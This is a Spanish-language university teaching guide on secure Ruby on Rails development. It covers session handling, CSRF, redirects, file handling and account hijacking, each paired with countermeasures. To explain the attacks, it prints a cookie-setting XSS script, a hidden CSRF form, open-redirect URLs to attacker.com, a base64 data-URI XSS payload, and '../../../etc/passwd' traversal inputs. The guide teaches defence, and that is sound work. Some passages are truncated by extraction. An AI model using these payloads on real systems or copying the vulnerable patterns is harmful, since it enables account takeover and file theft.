GESTIÓN DE LA SEGURIDAD EN EL DESARROLLO DE SOFTWARE

COLECCIÓN MATERIAL DOCENTE INGENIERÍA

VIGILADA MINEDUCACIÓN

Corporación Universitaria Comfacauca
Unicomfacauca

diuc
Dirección de Investigaciones Unicomfacauca

Sello Editorial
Unicomfacauca

Ingeniero de Sistemas de la Universidad del Cauca, Especialista en Seguridad Informática de Universidad Autónoma de Occidente, adscrito al programa de Ingeniería de Sistemas y Semillero de Seguridad Informática de Unicomfacauca en las líneas de profundización de criptografía y seguridad en el desarrollo de software. Cofundador y miembro del comité administrativo de la Red Colombiana de Investigación en Ciberseguridad RedCIC, Cofundador de la empresa SecuriTIC Group SAS.

GESTIÓN DE LA SEGURIDAD EN EL DESARROLLO DE SOFTWARE

JUAN PABLO MARTÍNEZ PULIDO

Sello Editorial Unicomfacauca

Juan Pablo Martínez Pulido
Gestión de la Seguridad en el Desarrollo de Software
Popayán: Corporación Universitaria Comfacauca-Unicomfacauca.
Sello editorial Unicomfacauca 2019.

[44 pg] p. Texto.

Incluye referencias bibliográficas: pp [pg10 inicio pg43 bibliografía].
Información del autor en solapas.

1. Ingeniería
I. Juan Pablo Martínez Pulido, Autor.
II. Sello editorial Unicomfacauca.

ISBN 978-958-56791-3-9
Hecho el Depósito Legal que marca el decreto 460 de 1995.

ISBN: 978-958-56791-3-9
Primera edición en español.
Sello editorial Unicomfacauca, noviembre, 2019.

Rectora: Isabel Ramírez Mejía.
Diseño de la Serie: Dirección de Investigaciones Unicomfacauca
Diagramación: Centro de información y Comunicaciones Unicomfacauca
Corrección de estilo: Centro de información y Comunicaciones Unicomfacauca
Diseño de carátula: Centro de información y Comunicaciones Unicomfacauca

Sello Editorial Unicomfacauca.
Editor General de Publicaciones: Ricardo Adrián González Muñoz,
Director de Investigaciones Unicomfacauca
Nombre de la Serie: Material docente Ingeniería
Calle 4 # 8-30. Popayán, Colombia.
Teléfono: 57+(2) 8386000 Ext 148.
www.unicomfacauca.edu.co

Texto financiado por la Corporación Universitaria Comfacauca-UNICOMFACAUCA, en el marco de la convocatoria interna de Publicación de Material Docente, coordinada por la Dirección de Investigaciones

IMPRESO EN COLOMBIA
PRINTED IN COLOMBIA

Índice de Contenidos

Índice de Contenidos

RESUMEN

El presente documento brinda una guía para la comprensión de las actividades relacionadas con el proceso de gestión de la seguridad en un proyecto de desarrollo de aplicaciones web usando el framework Ruby on Rails.

La documentación base para la construcción de la guía en el componente técnico, es el proyecto OWASP (Open Web Application Security Project), adicionalmente, haciendo énfasis en la gestión de la seguridad en los procesos, se profundiza en la elaboración de estrategias para el análisis y gestión de riesgos mediante la articulación de las personas y la tecnología en cada una de las fases del ciclo de vida que tendrá el desarrollo de software. Para lo cual se plantea inicialmente gestionar una estructura organizacional que abogue por la seguridad, documentando políticas, estableciendo puntos de control, cumpliendo con los requisitos de seguridad desde el diseño y arquitectura.

Para medir el avance en el componente de seguridad y reportar a la Gerencia la eficacia de la inversión realizada en dicho componente se proponen métricas de referencia para gestionar y monitorear los recursos humanos, y los procesos y tecnologías que componen el programa de seguridad de la aplicación.

Palabras Clave: Seguridad, desarrollo, software, ciclo de vida, aplicaciones web.

III. INTRODUCCIÓN

El presente documento tiene por finalidad guiar en la revisión, planteamiento, documentación y seguimiento de estándares de seguridad para el equipo de desarrollo dentro de un proyecto de construcción de aplicaciones web mediante el uso del framework Ruby on Rails. El público objetivo son los estudiantes de asignaturas de calidad del software, ingeniería del software, y específicamente estudiantes de la electiva de seguridad en el desarrollo de software.

Los objetivos pedagógicos van encaminados al fomento de hábitos y buenas prácticas de trabajo relacionadas con cada rol desempeñado en el equipo de desarrollo de software. De esta manera, se promueve a nivel formativo la relación entre las labores de un ingeniero de sistemas desempeñándose como ingeniero de seguridad.

IV. FUNDAMENTACIÓN TEÓRICA

En términos generales, corregir problemas de seguridad en un software que ha sido completado es mucho más costoso que construir software seguro, sin mencionar los costos que pueden estar asociados al impacto causado por un fallo en la seguridad, incluyendo la reputación de la organización.

El contenido de la guía está dividido en las siguientes fases sugeridas en la guía de pruebas de OWASP [1]:

- Fase 1: Antes del inicio del desarrollo
- Fase 2: Durante la definición y diseño
- Fase 3: Durante el desarrollo
- Fase 4: Durante la fase de implementación

Cada una de las fases cuenta con actividades específicas que se siguen de manera iterativa, generando así continua gestión de la seguridad durante el ciclo de vida.

V. FUNDAMENTACIÓN METODOLÓGICA

Antes del uso de la presente guía, el equipo de desarrollo debería comenzar evaluando el grado de madurez de su ciclo de desarrollo de software desde el punto de vista de la seguridad, así como el nivel de conocimiento de sus integrantes. Dado que esta guía abarca detalles de implementación de las prácticas de codificación, los desarrolladores deben poseer previamente los conocimientos suficientes o bien tener disponibles recursos guía. Sin embargo, otros miembros del equipo de desarrollo deberían de tener el entrenamiento adecuado en otros roles, junto con los recursos y herramientas para ser responsables de las otras fases del ciclo de vida como es la validación del diseño e implementación del sistema.

VI. FUNDAMENTACIÓN CURRICULAR Y DIDÁCTICA

El desarrollo de software es un proceso sistematizado que cuenta con diversas metodologías y marcos de trabajo para ser usados como referencia en el cumplimiento de los requisitos funcionales y no funcionales que persigue la construcción de una aplicación. Respecto a esto, son variadas las asignaturas del área de programación que se especializan en el cumplimiento de los requisitos a través de estrategias de calidad del software, sin embargo, sigue siendo insuficiente la adopción de buenas prácticas referentes a la seguridad de la información, que se ven reflejadas en los múltiples incidentes de seguridad que son noticia en el mundo.

La presente guía aporta en la inclusión de la seguridad informática durante el proceso de desarrollo de software, de tal manera que los profesionales de dicha línea tengan una base conceptual y técnica de cómo llevar a cabo las actividades de protección que se deben implementar a lo largo de toda la construcción y no solo al final del ciclo de vida, como suele acostumbrarse.

VII. CONTENIDO

a. FASE 1. Antes del inicio del desarrollo

Teniendo como referencia los requerimientos del proyecto a desarrollar y asumiendo que Ruby on Rails es el framework de desarrollo escogido para la construcción de la aplicación web; se procede a indicar en esta fase las políticas y pautas de seguridad informática producto de comunidades dedicadas a resolver problemas de seguridad en los sitios web Rails, y que, por lo tanto, deben ser tenidas en cuenta por el equipo de desarrollo.

Los framework o marcos de trabajo, están diseñados para ayudar a los desarrolladores en el proceso de creación de aplicaciones. Incluyendo algunos ayudas para la protección de la aplicación. De hecho, un marco de trabajo no necesariamente es más seguro que otro; si se usa correctamente, se podrá construir aplicaciones seguras con muchos de ellos.

Se estima que el 75% de los ataques se encuentran en la capa de aplicación web; estas amenazas incluyen el secuestro de cuentas de usuario, elución del control de acceso, lectura o modificación de datos confidenciales para presentar contenido fraudulento. Un atacante podría instalar un programa troyano o un software de envío de correo electrónico no solicitado, apuntar al enriquecimiento financiero o causar daño a la marca al modificar los recursos del negocio.

Para prevenir ataques, minimizar su impacto y eliminar puntos de ataque, antes que nada, se debe comprender completamente los métodos de ataque para encontrar las contramedidas correctas. A eso apunta esta sección del documento que toma como referencia la guía de seguridad de Ruby on Rails [3] y la guía para la construcción de aplicaciones y servicios web seguros[4].

B. MANEJO DE SESIONES

La aplicación necesita realizar un seguimiento del estado de un usuario en particular. Este podría ser la identificación del usuario actualmente conectado. Sin la idea de sesiones, el usuario debería identificar, y probablemente autenticarse en cada solicitud. Ruby on Rails creará una nueva sesión automáticamente si un nuevo usuario accede a la aplicación y cargará una sesión existente si el usuario ya ha utilizado la aplicación.

Una sesión generalmente consta de un hash de valores y un ID de sesión, generalmente una cadena hexadecimal aleatoria de 32 caracteres para identificar el hash. Cada cookie enviada al navegador del cliente incluye la ID de la sesión y al revés: el navegador lo enviará al servidor a petición del cliente. En Rails puedes guardar y recuperar valores usando el método de sesión:

```
session[:user_id] = @current_user.id
```

```
User.find(session[:user_id])
```

C. ID de sesión

El ID de sesión es generado usando SecureRandom.hex el cual genera una cadena hexadecimal aleatoria utilizando métodos específicos de la plataforma (como OpenSSL, / dev / urandom o Win32) para generar números aleatorios criptográficamente seguros. En la actualidad, no es factible aplicar fuerza bruta a las ID de sesión de Rails.

D. Secuestro de sesiones (Session Hijacking)

Muchas aplicaciones web tienen el siguiente sistema de autenticación: un usuario proporciona un nombre de usuario y una contraseña, la aplicación web los comprueba y almacena el id de usuario correspondiente en el hash de la sesión. A partir de ahora, la sesión es válida. En cada solicitud, la aplicación cargará al usuario, identificado por la id del usuario en la sesión, sin la necesidad de una nueva autenticación. El ID de la sesión en la cookie identificará la sesión.

Por lo tanto, la cookie sirve como autenticación temporal para la aplicación web. Cualquiera que tome una cookie de otra persona, puede usar la aplicación web como este usuario, con posibles consecuencias graves. Estas son algunas formas de secuestrar una sesión y sus contramedidas:

· “Olfatear” la cookie en una red insegura. Una LAN inalámbrica puede ser un ejemplo de dicha red. En una LAN inalámbrica no cifrada, es especialmente fácil escuchar el tráfico de todos los clientes conectados. Para el desarrollador de aplicaciones web esto significa proporcionar una conexión segura a través de SSL. En Rails 3.1 y posteriores, esto se puede lograr forzando siempre la conexión SSL en el archivo de configuración de la aplicación:

```
config.force_ssl = true
```

· La mayoría de las personas no borran las cookies después de trabajar en una terminal pública. Entonces, si el último usuario no se desconectó de una aplicación web, podría usarla como este usuario. Proporcione al usuario un botón de cierre de sesión en la aplicación web y hágalo sobresaliente.

· Muchos exploits de cross-site scripting (XSS) apuntan a obtener las cookies del usuario. Más adelante en el documento se profundiza sobre este tema.

· En lugar de robar una cookie desconocida para el atacante, este arregla un identificador de sesión de usuario (en la cookie) que conoce. Este ataque se denomina fijación de sesión y se profundiza más adelante.

E. Pautas para la sesión

· No almacene objetos grandes en una sesión. En su lugar, debe almacenarlos en la base de datos y guardar sus ID en la sesión. Esto eliminará inconvenientes de sincronización y no llenará el espacio de almacenamiento de la sesión (dependiendo del almacenamiento de la sesión que elija, consulte sección 2.5). Esto también será una buena idea, si modifica la estructura de un objeto y las versiones anteriores de él todavía están en las cookies de algunos usuarios. Con los almacenes de sesiones del lado del servidor puede borrar las sesiones, pero con los almacenes del lado del cliente, esto es difícil de mitigar.

· Los datos críticos no deben almacenarse en sesión. Si el usuario borra sus cookies o cierra el navegador, se perderán, y con un almacenamiento de sesión del lado del cliente, el usuario puede leer los datos.

F. Almacenamiento de sesión

En Rails 2 se introdujo un nuevo almacenamiento de sesión predeterminado, CookieStore. Este guarda el hash de la sesión directamente en una cookie en el lado del cliente. El servidor recupera el hash de la sesión de la cookie y elimina la necesidad de una ID de sesión. Eso aumentará en gran medida la velocidad de la aplicación, pero es una opción de almacenamiento controvertida y debe pensar en las implicaciones de seguridad de la misma:

· Las cookies implican un límite de tamaño estricto de 4kB. Esto está bien ya que no debe almacenar grandes cantidades de datos en una sesión de todos modos, como se describió anteriormente. Almacenar el ID de la base de datos del usuario actual en una sesión generalmente está bien.

· El cliente puede ver todo lo que almacena en una sesión, porque está almacenado en texto sin cifrar (en realidad está codificado en Base64, por lo que no está cifrado). Entonces, por supuesto, no quieres guardar ningún secreto aquí. Para evitar la manipulación del hash de sesión, se calcula un resumen de la sesión con un secreto del lado del servidor (secrets.secret_token) y se inserta en el extremo de la cookie.

Sin embargo, desde Rails 4, el almacenamiento predeterminado es Encrypted-CookieStore. Con EncryptedCookieStore, la sesión se cifra antes de almacenarse

en una cookie. Esto evita que el usuario acceda y altere el contenido de la cookie. Por lo tanto, la sesión se convierte en un lugar más seguro para almacenar datos. El cifrado se realiza utilizando una clave secreta del lado del servidor secrets.secret_key_base almacenada en config/secrets.yml.

Eso significa que la seguridad de este almacenamiento depende de este secreto (y del algoritmo de resumen, que por defecto es SHA1 por compatibilidad). Por lo tanto, no use un secreto trivial, por ejemplo, una palabra de un diccionario, o una que tenga menos de 30 caracteres, use en su lugar rails secret .

secrets.secret_key_base se utiliza para especificar una clave que permite que las sesiones de la aplicación se verifiquen contra una clave segura conocida para evitar su manipulación. Las aplicaciones obtienen secrets.secret_key_base inicializado a una clave aleatoria presente en config/secrets.yml, por ejemplo:

development:
secret_key_base: a75d...

test:
secret_key_base: 492f...

production:
secret_key_base: <%= ENV[“SECRET_KEY_BASE”] %>

G. Ataques de repetición para sesiones CookieStore

Otro tipo de ataque que se debe tener en cuenta cuando se use CookieStore es el ataque de repetición.

Funciona así:

· Un usuario recibe créditos, la cantidad se almacena en una sesión (lo cual es una mala idea de todos modos, pero se hará para demostraciones).
· El usuario compra algo.
· El nuevo valor de crédito ajustado se almacena en la sesión.
· El usuario toma la cookie del primer paso (que previamente copiaron) y reemplaza la cookie actual en el navegador.
· El usuario ha recuperado su crédito original.

Incluir un nonce (un valor aleatorio) en la sesión resuelve los ataques de repetición. Un nonce es válido solo una vez, y el servidor debe realizar un seguimiento de todos los nonces válidos. Se vuelve aún más complicado si tiene varios servidores de aplicaciones. El almacenamiento de nonces en una tabla de base de datos anularía todo el propósito de CookieStore (evitando el acceso a la base de datos).

La mejor solución contra esto no es almacenar este tipo de datos en una sesión, sino en la base de datos. En este caso, almacene el crédito en la base de datos y el logged_in_user_id en la sesión.

H. Fijación de sesión

Además de robar la identificación de la sesión de un usuario, el atacante puede corregir una ID de sesión conocida por ellos. Esto se llama fijación de sesión.

Este ataque se centra en la identificación de la sesión de un usuario conocida por el atacante y en forzar al navegador del usuario a utilizar esta ID. Por lo tanto, no es necesario que el atacante robe la ID de la sesión después. Así es como funciona este ataque:

· El atacante crea una ID de sesión válida: Cargan la página de inicio de sesión de la aplicación web y toman la ID de la sesión en la cookie de la respuesta.

· Mantienen la sesión accediendo a la aplicación web periódicamente para mantener viva una sesión.

· El atacante obliga al navegador del usuario a usar esta ID de sesión Como no puede cambiar una cookie de otro dominio (debido a la misma política de origen), el atacante debe ejecutar un JavaScript desde el dominio de la aplicación web de destino. Inyectando el código JavaScript en la aplicación por XSS logra este ataque. He aquí un ejemplo:
<script>document.cookie=”_session_id=16d5b78abb28e3d6206b60f22a03c8d9”;</script>.

(Se tratará sobre XSS e inyección más adelante).

· El atacante atrae a la víctima a la página infectada con el código JavaScript. Al ver la página, el navegador de la víctima cambiará la ID de sesión a la ID de la sesión trampa.

· Como la nueva sesión de trampa no se utiliza, la aplicación web requerirá que el usuario se autentique.

· De ahora en adelante, la víctima y el atacante usarán conjuntamente la aplicación web con la misma sesión: la sesión se volvió válida y la víctima no notó el ataque.

I. Contramedidas para la Fijación de sesión

La contramedida más efectiva es emitir un nuevo identificador de sesión y declarar el antiguo como inválido después de un inicio de sesión exitoso. De esta forma, un atacante no puede usar el identificador de sesión fijo. Esta es una buena contramedida contra el secuestro de sesión. Aquí se muestra cómo crear una nueva sesión en Rails:

reset_session

Si usa la popular gema “Devise” para la administración de usuarios, caducará automáticamente las sesiones al iniciar sesión y cerrará sesión por usted. Si no usas Devise, recuerde caducar la sesión después de su inicio de sesión (cuando se crea la sesión). Esto eliminará los valores de la sesión, por lo tanto, tendrá que transferirlos a la nueva sesión.

Otra contramedida es guardar las propiedades específicas del usuario en la sesión, verificarlas cada vez que ingrese una solicitud y denegar el acceso, si la información no coincide. Tales propiedades podrían ser la dirección IP remota o el agente de usuario (el nombre del navegador web), aunque este último es menos específico del usuario. Al guardar la dirección IP, debe tener en cuenta que hay proveedores de servicios de Internet u organizaciones grandes que colocan a sus usuarios por detrás de servidores proxy. Estos pueden cambiar en el transcurso de una sesión, por lo que estos usuarios no podrán usar la aplicación, o solo de manera limitada.

J. Vencimiento de la sesión

Las sesiones que nunca caducan amplían el marco de tiempo para ataques como la falsificación de solicitudes entre sitios (CSRF), el secuestro de sesiones y la fijación de sesiones.
Una posibilidad es establecer la marca de tiempo de caducidad de la cookie con la ID de la sesión. Sin embargo, el cliente puede editar las cookies que están almacenadas en el navegador web, por esto la caducidad de sesiones en el servidor son más seguras. Aquí hay un ejemplo de cómo caducar sesiones en una tabla de base de datos. Llamar Session.sweep(“20 minutes”) para vencer sesiones que se usaron hace más de 20 minutos.

```
class Session < ApplicationRecord
def self.sweep(time = 1.hour)
if time.is_a?(String)
time = time.split.inject { |count, unit| count.to_i.send(unit) }
end
delete_all “updated_at < ‘#{time.ago.to_s(:db)}’”
end
end
```

Un atacante que mantiene una sesión cada cinco minutos puede mantener la

sesión activa para siempre, aunque hayamos configurado la expiración de sesiones. Una solución simple para esto sería agregar una columna created_at a la tabla de sesiones. Ahora puede eliminar sesiones que se crearon hace mucho tiempo. Usa esta línea en el método de barrido arriba:

```
delete_all “updated_at < ‘#{time.ago.to_s(:db)}’ OR
created_at < ‘#{2.days.ago.to_s(:db)}’”
```

K. FALSIFICACIÓN DE SOLICITUDES ENTRE SITIOS (CSRF)

Este método de ataque funciona al incluir código malicioso o un enlace en una página que accede a una aplicación web que se cree que el usuario ha autenticado. Si la sesión para esa aplicación web no ha excedido el tiempo de espera, un atacante puede ejecutar comandos no autorizados.

En la sección 2.1 se ha aprendido que la mayoría de las aplicaciones Rails usan sesiones basadas en cookies, o almacenan la ID de la sesión en la cookie y tienen un hash de sesión del lado del servidor, o la sesión completa está en el lado del cliente. En cualquier caso, el navegador enviará automáticamente la cookie en cada solicitud a un dominio si puede encontrar una cookie para ese dominio. El punto controvertido

I. Contramedidas CSRF

El protocolo HTTP básicamente proporciona dos tipos principales de solicitudes: GET y POST (y más, pero no son compatibles con la mayoría de los navegadores). El World Wide Web Consortium (W3C) proporciona una lista de verificación para elegir HTTP GET o POST:

Use GET si:
· La interacción es más como una pregunta (es decir, es una operación segura, como una consulta, operación de lectura o búsqueda).

Use POST si:
· La interacción es más como una orden , o
· La interacción cambia el estado del recurso de una manera que el usuario perciba (por ejemplo, una suscripción a un servicio), o
· El usuario es responsable de los resultados de la interacción.

Las solicitudes POST también pueden enviarse automáticamente. En este ejemplo, el enlace www.sitio.com se muestra como el destino en la barra de estado del navegador. Pero en realidad ha creado dinámicamente un nuevo formulario que envía una solicitud POST.

```
<a href=”http://www.sitio.com/” onclick=”
var f = document.createElement(‘form’);
f.style.display = ‘none’;
this.parentNode.appendChild(f);
f.method = ‘POST’;
```

f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;">To the harmless survey</a

O el atacante coloca el código en el controlador de evento onmouseover de una imagen:

Hay muchas otras posibilidades, como usar una etiqueta <script> para hacer una solicitud entre sitios a una URL con una respuesta JSONP o JavaScript. La respuesta es un código ejecutable que el atacante puede encontrar una forma de ejecutar, posiblemente extrayendo datos confidenciales.

Para protegerse contra esta fuga de datos, debemos rechazar etiquetas <script> entre sitios. Las solicitudes de Ajax, sin embargo, obedecen la política de origen del mismo navegador (solo su propio sitio puede iniciar XmlHttpRequest) para que podamos permitirles devolver respuestas de JavaScript de manera segura.

Nota: No podemos distinguir el origen de una etiqueta <script>, ya sea una etiqueta en su propio sitio o en otro sitio malicioso, por lo que debemos bloquear <script> en todos los ámbitos, incluso si se trata de un script de origen seguro desde su propio sitio. En estos casos, omita explícitamente la protección CSRF en acciones que sirven JavaScript para una etiqueta <script>.

Para protegerse contra todas las demás solicitudes falsificadas, existe required security token que nuestro sitio conoce, pero otros sitios no conocen. Incluimos el token de seguridad en las solicitudes y lo verificamos en el servidor. Esto se realiza en una sola línea en su controlador de aplicaciones, y está predeterminado para las aplicaciones de Rails recién creadas:

protect_from_forgery with: :**exception**

Esto incluirá automáticamente un token de seguridad en todos los formularios y solicitudes Ajax generadas por Rails. Si el token de seguridad no coincide con lo esperado, se lanzará una excepción.

Es común usar cookies persistentes para almacenar información del usuario, por ejemplo con cookies.permanent. En este caso, las cookies no se borrarán y la protección CSRF no será efectiva. Debe manejar qué hacer de la siguiente manera:

rescue_from ActionController::InvalidAuthenticityToken do |exception|
sign_out_user # Example method that will destroy the user cookies
end
El método anterior se puede colocar en ApplicationController y se invocará cuando un token CSRF no esté presente o sea incorrecto en una solicitud no GET.

Tenga en cuenta que las vulnerabilidades de secuencias de comandos entre sitios (XSS) omiten todas las protecciones CSRF . XSS le da al atacante acceso a todos los

elementos en una página, para que puedan leer el token de seguridad CSRF de un formulario o enviarlo directamente.

I. REDIRECCIÓN Y ARCHIVOS

Otra clase de vulnerabilidades de seguridad rodea el uso de redirecciónes y archivos en aplicaciones web.

i. Redirección

La redirección en una aplicación web es una herramienta de ataque subestimada: el atacante no solo puede reenviar al usuario a un sitio web de falso, sino que también puede crear un ataque autónomo.
Cada vez que el usuario puede pasar (partes de) la URL para redirección, es potencialmente vulnerable. El ataque más obvio sería redirigir a los usuarios a una aplicación web falsa que se ve y se siente exactamente como la original. Este es llamado ataque de phishing, y funciona enviando un enlace no sospechoso en un correo electrónico a los usuarios, inyectando el enlace por XSS en la aplicación web o colocando el enlace en un sitio externo. No es sospechoso, porque el enlace comienza con la URL de la aplicación web y la URL del sitio malicioso está oculta en el parámetro de redirección: http://www.example.com/site/redirect?to=www.attacker.com

http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com

Si está al final de la URL, apenas se notará y redirigirá al usuario al host de attacker.com. Una contramedida simple sería incluir solo los parámetros esperados en una acción heredada. Y si redirige a una URL, verifíquela con una lista blanca o una expresión regular.

ii. XSS autocontenido

Otra redirección y ataque XSS autónomo funciona en Firefox y Opera mediante el uso del protocolo de datos. Este protocolo muestra sus contenidos directamente en el navegador y puede ser cualquier cosa, desde HTML o JavaScript hasta imágenes completas:

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K

Este ejemplo es un JavaScript codificado en Base64 que muestra un cuadro de mensaje simple. En una URL de redireccionamiento, un atacante podría redirigir a esta URL con el código malicioso. Como contramedida, no permita que el usuario suministre (partes de) la URL a la que se redirigirá.

III. Subida de archivos

Asegúrese de que las cargas de archivos no sobrescriban archivos importantes y procese los archivos multimedia de forma asíncrona.

La aplicación web permitirá a los usuarios subir archivos. Los nombres de archivos, que el usuario puede elegir, siempre se deben filtrar ya que un atacante podría usar un nombre de archivo malicioso para sobrescribir cualquier archivo en el servidor. Si almacena cargas de archivos en /var/www/uploads, y el usuario ingresa un nombre de archivo como "../../../etc/passwd", puede sobrescribir un archivo importante. Por supuesto, el intérprete de Ruby necesitaría los permisos adecuados para hacerlo, una razón más para ejecutar servidores web, servidores de bases de datos y otros programas como un usuario de Unix menos privilegiado.

Al filtrar nombres de archivo de entrada de usuario, no intente eliminar partes maliciosas. Piense en una situación en la que la aplicación web elimina todo "../" en un nombre de archivo y un atacante usa una cadena como ".... //" - el resultado será "../". Lo mejor es usar un enfoque de lista blanca, que verifica la validez de un nombre de archivo con un conjunto de caracteres aceptados. Esto se opone a un enfoque de lista negra que intenta eliminar los caracteres no permitidos. En caso de que no sea un nombre de archivo válido, rechácelo (o reemplace los caracteres no aceptados), pero no los elimine. Aquí está el sanitizer de nombres de archivos desde el attachment_fu plugin:

```
def sanitize_filename(filename)
filename.strip.tap do |name|
# NOTE: File.basename doesn't work right with Windows paths on Unix
# get only the filename, not the whole path
name.sub! /\A.*(\\|\/)/, ''
# Finally, replace all non alphanumeric, underscore
# or periods with underscore
name.gsub! /[^\w\.\-]/, '_'
end
end
```

Una desventaja significativa del procesamiento sincrónico de las cargas de archivos (como el complemento attachment_fu puede hacer con las imágenes) es su vulnerabilidad a los ataques de denegación de servicio. Un atacante puede iniciar sincrónicamente cargas de archivos de imágenes desde muchas computadoras, lo que aumenta la carga del servidor y puede colapsar o atascar el servidor.

La mejor solución para esto es procesar archivos multimedia de forma asincrónica: guarde el archivo multimedia y programe una solicitud de procesamiento en la base de datos. Un segundo proceso manejará el procesamiento del archivo en segundo plano.

IV. Código ejecutable en las cargas de archivos

El código fuente en los archivos cargados se puede ejecutar cuando se coloca en directorios específicos. No coloque cargas de archivos en el directorio Rails' /public si es el directorio de inicio de Apache

El popular servidor web Apache tiene una opción llamada DocumentRoot. Este es el directorio de inicio del sitio web, todo en este árbol de directorios será servido por el servidor web. Si hay archivos con una cierta extensión de nombre de archivo, el código que contiene se ejecutará cuando se solicite (puede ser necesario configurar algunas opciones). Ejemplos de esto son los archivos PHP y CGI. Ahora piense en una situación en la que un atacante carga un archivo "file.cgi" con código, que se ejecutará cuando alguien descargue el archivo.

Si su Apache DocumentRoot apunta al directorio Rails' /public no coloque archivos cargados, almacene archivos al menos un nivel hacia abajo.

V. Descargas de archivos

Asegúrese de que los usuarios no puedan descargar archivos arbitrarios.

Del mismo modo que debe filtrar los nombres de archivo para subir, debe hacerlo para descargar. El método send_file() envía archivos desde el servidor al cliente. Si usa un nombre de archivo, que el usuario ingresó, sin filtrar, se puede descargar cualquier archivo:

```
send_file('/var/www/uploads/' + params[:filename])
```

Simplemente pase un nombre de archivo como "../../../etc/passwd" para descargar la información de inicio de sesión del servidor. Una solución simple contra esto es verificar que el archivo solicitado se encuentre en el directorio esperado:

```
basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename !=
File.expand_path(File.join(File.dirname(filename), '../../../'))
send_file filename, disposition: 'inline'
```

Otro enfoque (adicional) es almacenar los nombres de los archivos en la base de datos y nombrar los archivos en el disco después de los identificadores en la base de datos. Este es también un buen enfoque para evitar que se ejecute un posible código en un archivo cargado. El complemento attachment_fu lo hace de forma similar.

M. INTRANET Y SEGURIDAD DE ADMINISTRACIÓN

La interfaz de administración común funciona de la siguiente manera: se encuentra en www.example.com/admin , solo se puede acceder si el indicador de administración está configurado en el modelo de usuario, vuelve a mostrar la entrada del usuario y permite al administrador eliminar / agregar / editar lo que sea datos deseados Aquí

hay algunas ideas sobre esto:

· Es muy importante pensar en el peor de los casos: ¿qué pasa si alguien realmente tiene sus cookies o credenciales de usuario administrador? Puede introducir roles para la interfaz de administrador para limitar las posibilidades del atacante. O qué tal credenciales de inicio de sesión especiales para la interfaz de administrador, que no sean las utilizadas para la parte pública de la aplicación. ¿O una contraseña especial para acciones muy serias?

· ¿El administrador realmente tiene que acceder a la interfaz desde cualquier parte del mundo? Piense en limitar el inicio de sesión a un grupo de direcciones IP de origen. Examine request.remote_ip para obtener información sobre la dirección IP del usuario. Esto no es infalible, pero si una gran barrera. Sin embargo, recuerde que pueden estar usando un proxy.

· Coloque la interfaz de administración en un subdominio especial como admin.application.com y conviértalo en una aplicación separada con su propia administración de usuarios. Esto hace que sea imposible robar una cookie de administrador del dominio habitual, www.application.com. Esto se debe a la misma política de origen en su navegador: una secuencia de comandos inyectada (XSS) en www.application.com no puede leer la cookie para admin.application.com y viceversa.

N. GESTIÓN DE USUARIOS

La aplicación web que se va a desarrollar tiene que ver con la autorización y la autenticación, por lo tanto, es recomendable usar complementos maduros y mantenerlos actualizados también. Algunas precauciones adicionales pueden hacer que la aplicación sea aún más segura.

Hay una serie de plug-ins de autenticación disponibles para Rails, como los populares devise y authlogic , almacenando sólo las contraseñas cifradas, no las contraseñas en texto plano. Desde Rails 3.1 se puede usar el método incorporado has_secure_password que tiene características similares.

I. Fuerza bruta a las cuentas

Una lista de nombres de usuario para su aplicación web puede ser utilizada para aplicar fuerza bruta a las contraseñas correspondientes, porque la mayoría de las personas no usan contraseñas sofisticadas. La mayoría de las contraseñas son una combinación de palabras del diccionario y posiblemente números. Así que armado con una lista de nombres de usuario y un diccionario, un programa automático puede encontrar la contraseña correcta en cuestión de minutos.

Debido a esto, las aplicaciones web suelen mostrar un mensaje de error genérico "nombre de usuario o contraseña incorrectos", sin especificar cuál fue el dato erróneo. Si dice "el nombre de usuario que ingresó no se ha encontrado", un atacante podría compilar automáticamente una lista de nombres de usuario.

Sin embargo, lo que la mayoría de los diseñadores de aplicaciones web descuidan son las páginas de olvido de contraseña. Estas páginas a menudo manifiestan que

el nombre de usuario ingresado o la dirección de correo electrónico no se han encontrado. Esto permite a un atacante compilar una lista de nombres de usuario y fuerza bruta de las cuentas.

Para mitigar dichos ataques, también se debe mostrar un mensaje de error genérico en las páginas de olvido de contraseña. Además, puede requerir ingresar un CAPTCHA después de una cantidad de inicios de sesión fallidos desde una cierta dirección IP. Sin embargo, tenga en cuenta que esta no es una solución infalible contra los programas automáticos, ya que estos programas pueden cambiar su dirección IP exactamente con la misma frecuencia. Sin embargo, levanta la barrera de un ataque.

O. Secuestro de cuenta (Account Hijacking)

I. Contraseñas

Piense en una situación en la que un atacante haya robado la cookie de sesión de un usuario y, por lo tanto, pueda co-usar la aplicación. Si es fácil cambiar la contraseña, el atacante secuestrará la cuenta con unos pocos clics. O si el formulario de cambio de contraseña es vulnerable a CSRF, el atacante podrá cambiar la contraseña de la víctima atrayéndola a una página web donde haya una etiqueta IMG elaborada que haga el CSRF. Como contramedida, asegúrese de que los formularios de cambio de contraseña sean seguros contra CSRF, por supuesto, y requiere que el usuario ingrese la contraseña anterior cuando la cambie.

II. Correo electrónico

Sin embargo, el atacante también puede hacerse cargo de la cuenta cambiando la dirección de correo electrónico. Después de que lo cambien, irán a la página de contraseña olvidada y la (posiblemente nueva) contraseña se enviará por correo electrónico a la dirección de correo electrónico del atacante. Como contramedida, el usuario también debe ingresar la contraseña al cambiar la dirección de correo electrónico

III. Otro

Puede haber más formas de secuestrar la cuenta del usuario. En muchos casos, CSRF y XSS ayudarán a hacerlo. Por ejemplo, como en una vulnerabilidad CSRF que se presentó en Google Mail. En este ataque de prueba de concepto, la víctima habría sido atraída a un sitio web controlado por el atacante. En ese sitio hay una etiqueta IMG elaborada que da como resultado una solicitud HTTP GET que cambia la configuración del filtro de Google Mail. Si la víctima había iniciado sesión en Google Mail, el atacante cambiaría los filtros para reenviar todos los correos electrónicos a su dirección de correo electrónico. Esto es casi tan dañino como secuestrar toda la cuenta. Como contramedida, revise la lógica de su aplicación y elimine todas las vulnerabilidades de XSS y CSRF

IV. Captchas

Un CAPTCHA es una prueba de desafío-respuesta para determinar que la respuesta no la genera una computadora. A menudo se usa para proteger los formularios de registro de los atacantes y los formularios de comentarios de los robots de spam automáticos pidiéndole al usuario que escriba las letras de una imagen distorsionada.

